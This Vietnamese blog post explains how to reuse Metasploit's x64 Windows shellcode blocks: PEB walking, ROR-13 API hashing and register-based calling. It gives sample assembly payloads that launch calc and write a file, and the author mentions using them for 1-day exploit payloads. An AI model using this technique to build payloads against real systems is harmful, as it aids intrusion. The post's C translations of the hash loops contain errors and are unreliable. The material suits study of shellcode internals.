Tản mạn về edit shellcode của metasploit

Thu Nguyen
nightst0rm
Published in
6 min readFeb 9, 2018

Lỡ chuyến xe đêm về với bố mẹ, ngồi nhâm nhi tách café với ông anh. Chợt nhớ ra đã lâu tôi không viết gì, và cả những anh em gạo cội ban đầu cũng đã thiếu lửa nhiều so với những ngày đầu thành lập. Đây là cuộc sống, có ngời bận bịu với trách nhiệm mới, nhiệm vụ mới của người chồng hay người sếp. Có anh em lại bận bịu với ước mơ về những đồng tiền ảo. Hay như chính tôi đây cũng đi theo ước mơ ngày hoàn thành công việc, tối về vui vẻ với người yêu và xa hơn sẽ là vợ con. Cuộc sống giản đơn của một tình yêu sẽ hạnh phúc giống như bao người. Nhưng rời xa máy tính, tôi chỉ còn là một thằng ngố dở, có lẽ những thứ giản đơn ấy lại không dành cho tôi, như một bài hát tiếng nga:
Mùa xuân đang đến không dành cho tôi.
Không vì tôi, dòng sông vẫn chảy dài
Có trái tim thanh xuân của cô gái
Đang rung động nhưng không dành cho tôi
Không dành cho tôi,hoa kia đang nở
Bông hoa rực rỡ ngát hương và tàn
Là cuộc đời em tươi đẹp như hoa
Là một cuộc sống, không dành cho tôi
Dành cho tôi là những dòng lệnh khô khan
Là một vài giọt nước mắt cay đắng
Đấy là cuộc sống, anh trai ạ, đang chờ em.
Về lại với bên máy tính, có lẽ tôi cũng không có năng khiếu gì với những bài ctf đầy đam mê thách thức. Thôi, quay sang nhẹ nhàng hơn, giết thời gian và thoải mái hơn với việc đọc các phân tích về cve, build 1day payload trên windows, hđh thân thuộc với tôi nhất. Và khó khăn mà tôi gặp khá nhiều ở bước tưởng như không còn quá khó khăn nữa: build shellcode, một shellcode custom đáp ứng nhu cầu sử dụng vì các shellcode phổ biến đều có quá ít chức năng. Có lẽ do tôi không nhiều kinh nghiệm hoặc vốn systemcall của windows, tham số của các hàm trên windows phức tạp hơn nhiều. Lòng vòng tôi quyết định sử dụng lại các phần của shellcode trên framework metasploit:
https://github.com/rapid7/metasploit-framework/tree/master/external/source/shellcode/windows/x64/src
Bắt đầu phân tích tạm 1 shellcode gọi calc đơn giản:

[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm"
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
mov rdx, 1
lea rcx, [rbp+command-delta]
mov r10d, 0x876F8B31 ; hash( "kernel32.dll", "WinExec" )
call rbp ; WinExec( &command, 1 );
; Finish up with the EXITFUNK.
%include "./src/block/block_exitfunk.asm"
command:
db "calc", 0

Vài dòng đầu là lệnh call đến đoạn tiếp theo với lệnh pop rbp, lúc này vì lệnh call sẽ lưu địa chỉ khối lệnh tiếp theo vào stack, pop rbp lại lập tức lấy địa chỉ đó ra lưu vào rbp. Trong đoạn asm trên ta sẽ có ebp = địa chỉ khối lệnh asm liên quan đến việc gọi API windows và nhiều hơn nữa là địa chỉ chung đến khối shellcode của ta.
Tiếp theo các chuỗi tham số cho việc gọi api sẽ được tính từ khoảng cách và kích thước các khối lệnh tìm api, khối lệnh chính.
đưa các tham số như bình thường, lưu hash giúp hàm tìm api xác định api vào r10d, call rbp và hoàn thành.
Trông có vẻ không phức tạp, phần tinh túy nằm ở block_api.asm và nếu làm chủ được cách tạo hash cho function name + thư viện. có lẽ ta sẽ dùng shellcode này một cách dễ dàng.
Vậy đọc hiểu block_api.asm thôi:
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_api.asm

Get peb struct:

mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list

Get export table:

mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
mov eax, dword [rax+136] ; Get export tables RVA

Từ PEB struct lấy địa chỉ đến danh sách liên kết chứa tất cả các modules, từ đó đọc modulename từ offset 80 ([rdx+80]) base address ([rdx+32]).. rồi từ baseaddress đọc theo các offset (3c -pe header, 88 — export table) mọi thứ khá quen thuộc với những ai từng nghiên cứu qua PE format của executable windows.
Và tất nhiên, muốn sử dụng được hàm này của metalspoit ta cần làm rõ hashname của api+module name được tính toán thế nào, rất may source đã chú thích rõ ràng:
Với hashmodule name:

loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough

Với tôi thì khá dễ để viết lại thành ngôn ngữ C:
hashm=0;
for(int i=0;i<lstrlenW(modulename)*2+2;i++) // *2 +2 vì nó là unicode
{
ror(hashm,13);
hashm+=modulename[i];
}
và hàm hash function name tương tự:

loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue

C code:
for(int i=0;i=<strlen(apiname);i++)
{
ror(hashn,13);
hashn+=modulename[i];
}

và cuối cùng so sánh hash với hash api ta đưa vào:

add r9, [rsp+8] ; Add the current module hash to the function hash

cmp r9d, r10d ; Compare the hash to the one we are searchnig for

jnz get_next_func ; Go compute the next function hash if we have not found it

vậy hash=hashm+hashn

Tìm thấy địa chỉ hàm đúng với hash khôi phục lại stack, thanh ghi để jmp thẳng đến hàm, sử dung lại đúng tham số như khi call rbp

pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function

Sau khi làm chủ hàm hash, việc viết shellcode chỉ còn vấn đề là push, mov các argument cho đúng. Nó phức tạp hơn nhiều khi các api ở x64 process có calling convention sử dụng kết hợp nhiều thanh ghi và stack. Sau một hồi build test và tự RE lại tôi có:
arg1= ecx, arg2 = edx, arg 3 = r8d, arg 4 = r9d, arg5++ push vào stack như thường.

Example write file shellcode

[BITS 64]
[ORG 0]

cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm"
start: ;
pop rbp
push 0
push 0
push 0x80
push 1
xor r9d,r9d
xor r8d,r8d
mov edx,0x40000000
lea rcx, [rbp+filename-delta]
mov r10d, 0x4fdaf6da
call rbp ;CreateFileA
mov [rbp+handle-delta],rax
push 0
xor r9d,r9d
mov r8d,23
lea rdx, [rbp+text-delta]
mov rcx,[rbp+handle-delta]
mov r10d,0x5bae572d
call rbp; WriteFile
mov rcx,[rbp+handle-delta]
mov r10d,0x528796c6
call rbp;CloseHandle
%include "./src/block/block_exitfunk.asm"
filename:
db "c:\program files\xxxx\data.dat", 0
text:
db "abc xyz text",0
handle:
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0

--

--